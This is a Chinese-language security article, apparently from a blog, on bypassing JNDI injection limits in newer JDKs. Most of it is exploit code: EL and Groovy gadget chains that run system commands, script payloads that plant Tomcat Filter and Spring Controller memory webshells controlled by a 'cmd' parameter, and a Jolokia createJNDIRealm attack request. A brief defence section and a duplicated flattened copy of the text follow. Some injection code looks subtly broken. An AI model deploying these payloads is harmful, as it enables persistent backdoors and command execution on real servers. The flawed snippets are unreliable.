JDK高版本下的JNDI利用以及一些补充
字数 901 2025-08-20 18:18:10

JDK高版本下的JNDI利用及内存马注入技术研究

一、背景与问题概述

在Java安全领域,JNDI注入攻击在JDK高版本(8u191+)中受到限制,传统的远程类加载方式失效。本文针对以下场景:

  • 通过Jolokia接口发现的JNDI注入点
  • 需要绕过JDK高版本限制
  • 实现稳定的内存马注入

二、JDK版本限制分析

1. JDK防御机制演进

  • 8u121/8u131:限制RMI远程代码加载
  • 8u191:默认禁用LDAP远程代码加载
  • 11.0.1:进一步强化限制

2. 关键限制点

  • com.sun.jndi.ldap.object.trustURLCodebase默认为false
  • 禁止从远程LDAP服务器加载任意Java类

三、绕过技术研究

1. 利用本地ClassPath中的类

  • 寻找存在危险方法的本地类
  • 常用类包括:
    • org.apache.naming.factory.BeanFactory
    • javax.el.ELProcessor
    • groovy.lang.GroovyClassLoader

2. ELProcessor利用链

// 利用EL表达式执行命令
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

3. GroovyClassLoader利用链

ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
ref.add(new StringRefAddr("x", "String cmd = \"calc\";@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(cmd)})class X{}"));

四、内存马注入技术

1. Tomcat Filter内存马

// 通过JNDI注入注册Filter
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", 
    "var cls = ''.getClass().forName('org.apache.catalina.core.ApplicationFilterConfig');" +
    "var field = cls.getDeclaredField('filterDef');" +
    "field.setAccessible(true);" +
    "var filterDef = ''.getClass().forName('org.apache.tomcat.util.descriptor.web.FilterDef');" +
    "var filter = new javax.servlet.Filter() { " +
    "   public void doFilter(javax.servlet.ServletRequest req, javax.servlet.ServletResponse res, javax.servlet.FilterChain chain) { " +
    "       try { " +
    "           if (req.getParameter('cmd') != null) { " +
    "               java.io.Writer writer = res.getWriter(); " +
    "               writer.write('<pre>'); " +
    "               writer.write(new java.util.Scanner(Runtime.getRuntime().exec(req.getParameter('cmd')).getInputStream()).useDelimiter('\\\\A').next()); " +
    "               writer.write('</pre>'); " +
    "               writer.flush(); " +
    "               return; " +
    "           } " +
    "       } catch (Exception e) {} " +
    "       chain.doFilter(req, res); " +
    "   } " +
    "}; " +
    "var def = filterDef.newInstance(); " +
    "def.setFilter(filter); " +
    "def.setFilterName('evilFilter'); " +
    "def.addURLPattern('/*'); " +
    "var configs = ''.getClass().forName('org.apache.catalina.core.ApplicationContext')" +
    "   .getMethod('getServletContext').invoke(null)" +
    "   .getClass().getMethod('getFilterRegistrations').invoke(null); " +
    "configs.put('evilFilter', def);"));

2. Spring Controller内存马

// 通过JNDI注入注册Spring Controller
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", 
    "var ctx = ''.getClass().forName('org.springframework.web.context.request.RequestContextHolder').getMethod('currentRequestAttributes').invoke(null);" +
    "var req = ctx.getClass().getMethod('getRequest').invoke(ctx);" +
    "var res = ctx.getClass().getMethod('getResponse').invoke(ctx);" +
    "if (req.getParameter('cmd') != null) {" +
    "   java.io.Writer writer = res.getWriter();" +
    "   writer.write('<pre>');" +
    "   writer.write(new java.util.Scanner(Runtime.getRuntime().exec(req.getParameter('cmd')).getInputStream()).useDelimiter('\\\\A').next());" +
    "   writer.write('</pre>');" +
    "   writer.flush();" +
    "}"));

五、Jolokia接口利用

1. Jolokia JNDI注入点识别

  • 查找/jolokia/actuator/jolokia端点
  • 检查createJNDIRealm等危险操作

2. 利用方式

POST /jolokia/ HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "type": "EXEC",
  "mbean": "Tomcat:type=MBeanFactory",
  "operation": "createJNDIRealm",
  "arguments": ["java:comp/env/evil"]
}

六、防御与检测

1. 防御措施

  • 升级JDK至最新版本
  • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  • 限制JNDI查找源
  • 关闭不必要的JMX/Jolokia接口

2. 内存马检测

  • 检查异常Filter/Controller
  • 监控动态类加载
  • 使用RASP进行防护

七、总结

本文详细分析了高版本JDK下的JNDI利用技术,重点介绍了通过本地类绕过限制的方法和内存马注入的实现。在实际渗透测试中,需要根据目标环境选择合适的利用链,并注意规避防御措施。

JDK高版本下的JNDI利用及内存马注入技术研究 一、背景与问题概述 在Java安全领域,JNDI注入攻击在JDK高版本(8u191+)中受到限制,传统的远程类加载方式失效。本文针对以下场景: 通过Jolokia接口发现的JNDI注入点 需要绕过JDK高版本限制 实现稳定的内存马注入 二、JDK版本限制分析 1. JDK防御机制演进 8u121/8u131 :限制RMI远程代码加载 8u191 :默认禁用LDAP远程代码加载 11.0.1 :进一步强化限制 2. 关键限制点 com.sun.jndi.ldap.object.trustURLCodebase 默认为false 禁止从远程LDAP服务器加载任意Java类 三、绕过技术研究 1. 利用本地ClassPath中的类 寻找存在危险方法的本地类 常用类包括: org.apache.naming.factory.BeanFactory javax.el.ELProcessor groovy.lang.GroovyClassLoader 2. ELProcessor利用链 3. GroovyClassLoader利用链 四、内存马注入技术 1. Tomcat Filter内存马 2. Spring Controller内存马 五、Jolokia接口利用 1. Jolokia JNDI注入点识别 查找 /jolokia 或 /actuator/jolokia 端点 检查 createJNDIRealm 等危险操作 2. 利用方式 六、防御与检测 1. 防御措施 升级JDK至最新版本 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 限制JNDI查找源 关闭不必要的JMX/Jolokia接口 2. 内存马检测 检查异常Filter/Controller 监控动态类加载 使用RASP进行防护 七、总结 本文详细分析了高版本JDK下的JNDI利用技术,重点介绍了通过本地类绕过限制的方法和内存马注入的实现。在实际渗透测试中,需要根据目标环境选择合适的利用链,并注意规避防御措施。